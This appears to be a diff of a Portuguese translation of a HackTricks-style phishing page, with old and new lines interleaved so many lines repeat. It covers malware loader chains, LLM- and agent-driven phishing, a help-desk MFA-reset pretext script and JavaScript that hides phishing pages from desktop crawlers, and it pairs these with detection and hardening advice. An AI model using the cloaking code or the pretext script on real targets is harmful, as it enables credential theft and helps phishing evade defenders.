| 2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos vistos pela Unit 42: | ||||
| 1. **SEO poisoning / malvertising** impulsiona um resultado falso como `chromium-update[.]site` para o topo dos anúncios de busca. | ||||
| 2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos observados pela Unit 42: | ||||
| * `RedLine stealer` | ||||
| * `Lumma stealer` | ||||
| * `Lampion Trojan` | ||||
| 3. O loader exfiltra cookies do browser + DBs de credenciais, então puxa um **silent loader** que decide – *em tempo real* – se vai implantar: | ||||
| * RAT (por exemplo AsyncRAT, RustDesk) | ||||
| 3. O loader exfiltra cookies do navegador + bancos de credenciais, então puxa um **silent loader** que decide – *em tempo real* – se irá desplegar: | ||||
| * RAT (ex.: AsyncRAT, RustDesk) | ||||
| * ransomware / wiper | ||||
| * componente de persistência (registry Run key + scheduled task) | ||||
| * componente de persistência (Run key no registro + scheduled task) | ||||
| 
 | ||||
| ### Hardening tips | ||||
| * Bloqueie domínios recém-registrados & aplique **Advanced DNS / URL Filtering** em *search-ads* assim como em e-mail. | ||||
| * Restrinja instalação de software a pacotes MSI assinados / Store, negue execução de `HTA`, `ISO`, `VBS` por política. | ||||
| * Monitore por processos filhos de browsers que abram instaladores: | ||||
| * Monitore por processos filhos de navegadores abrindo instaladores: | ||||
| ```yaml | ||||
| - parent_image: /Program Files/Google/Chrome/* | ||||
| and child_image: *\\*.exe | ||||
| ``` | ||||
| * Faça hunting por LOLBins frequentemente abusados por first-stage loaders (por exemplo `regsvr32`, `curl`, `mshta`). | ||||
| * Faça hunt por LOLBins frequentemente abusados por first-stage loaders (ex.: `regsvr32`, `curl`, `mshta`). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## AI-Enhanced Phishing Operations | ||||
| Atacantes agora encadeiam **LLM & voice-clone APIs** para iscas totalmente personalizadas e interação em tempo real. | ||||
| Atacantes agora encadeiam **LLM & APIs de clonagem de voz** para iscas totalmente personalizadas e interação em tempo real. | ||||
| 
 | ||||
| | Layer | Example use by threat actor | | ||||
| |-------|-----------------------------| | ||||
| |Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| | ||||
| |Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| | ||||
| |Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| | ||||
| |Automação|Gerar & enviar >100k e-mails / SMS com texto randomizado & links de tracking.| | ||||
| |Generative AI|Produzir e-mails *one-off* referenciando M&A públicos, piadas internas de redes sociais; voz deep-fake do CEO em golpe por chamada.| | ||||
| |Agentic AI|Registrar domínios autonomamente, raspar intel open-source, criar e-mails da próxima etapa quando uma vítima clica mas não submete credentials.| | ||||
| 
 | ||||
| **Defence:** | ||||
| • Adicione **banners dinâmicos** destacando mensagens enviadas por automação não confiável (via anomalias ARC/DKIM).   | ||||
| • Implante **voice-biometric challenge phrases** para solicitações telefônicas de alto risco.   | ||||
| • Simule continuamente iscas geradas por AI em programas de conscientização – templates estáticos estão obsoletos. | ||||
| • Implemente **frases-desafio biométricas de voz** para solicitações telefônicas de alto risco.   | ||||
| • Simule continuamente iscas geradas por IA em programas de conscientização – modelos estáticos estão obsoletos. | ||||
| 
 | ||||
| See also – agentic browsing abuse for credential phishing: | ||||
| 
 | ||||
| @ -527,13 +527,13 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md | ||||
| --- | ||||
| 
 | ||||
| ## MFA Fatigue / Push Bombing Variant – Forced Reset | ||||
| Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a ligação ao help-desk, aniquilando o token existente do usuário. Qualquer prompt de login subsequente parece legítimo para a vítima. | ||||
| Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a chamada ao help-desk, anulando o token existente do usuário. Qualquer prompt de login subsequente parecerá legítimo para a vítima. | ||||
| ```text | ||||
| [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” | ||||
| [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail | ||||
| [Attacker]  →  Completes new TOTP enrolment on their own device | ||||
| ``` | ||||
| Monitore eventos do AzureAD/AWS/Okta onde **`deleteMFA` + `addMFA`** ocorrem **em questão de minutos vindos do mesmo IP**. | ||||
| Monitore eventos do AzureAD/AWS/Okta em que **`deleteMFA` + `addMFA`** ocorram **no espaço de minutos a partir do mesmo IP**. | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| @ -553,12 +553,40 @@ clipboard-hijacking.md | ||||
| mobile-phishing-malicious-apps.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## Referências | ||||
| ### Mobile‑gated phishing to evade crawlers/sandboxes | ||||
| Os operadores cada vez mais colocam seus fluxos de phishing atrás de uma verificação simples de dispositivo para que crawlers desktop nunca alcancem as páginas finais. Um padrão comum é um pequeno script que testa se o DOM é compatível com touch e envia o resultado para um endpoint do servidor; clientes não‑móveis recebem HTTP 500 (ou uma página em branco), enquanto usuários móveis recebem o fluxo completo. | ||||
| 
 | ||||
| Minimal client snippet (typical logic): | ||||
| ```html | ||||
| <script src="/static/detect_device.js"></script> | ||||
| ``` | ||||
| `detect_device.js` lógica (simplificada): | ||||
| ```javascript | ||||
| const isMobile = ('ontouchstart' in document.documentElement); | ||||
| fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) | ||||
| .then(()=>location.reload()); | ||||
| ``` | ||||
| Server behaviour often observed: | ||||
| - Define um session cookie durante o primeiro carregamento. | ||||
| - Aceita `POST /detect {"is_mobile":true|false}`. | ||||
| - Retorna 500 (ou placeholder) para GETs subsequentes quando `is_mobile=false`; serve phishing apenas se `true`. | ||||
| 
 | ||||
| Hunting and detection heuristics: | ||||
| - Consulta urlscan: `filename:"detect_device.js" AND page.status:500` | ||||
| - Telemetria web: sequência de `GET /static/detect_device.js` → `POST /detect` → HTTP 500 para não‑móvel; caminhos legítimos de vítima móvel retornam 200 com HTML/JS subsequente. | ||||
| - Bloquear ou escrutinar páginas que condicionam o conteúdo exclusivamente ao `ontouchstart` ou verificações de dispositivo similares. | ||||
| 
 | ||||
| Defence tips: | ||||
| - Execute crawlers com fingerprints semelhantes a mobile e JS ativado para revelar conteúdo restrito. | ||||
| - Alertar sobre respostas 500 suspeitas após `POST /detect` em domínios recém-registrados. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) | ||||
| - [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) | ||||
| - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) | ||||
| - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) | ||||
| - [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user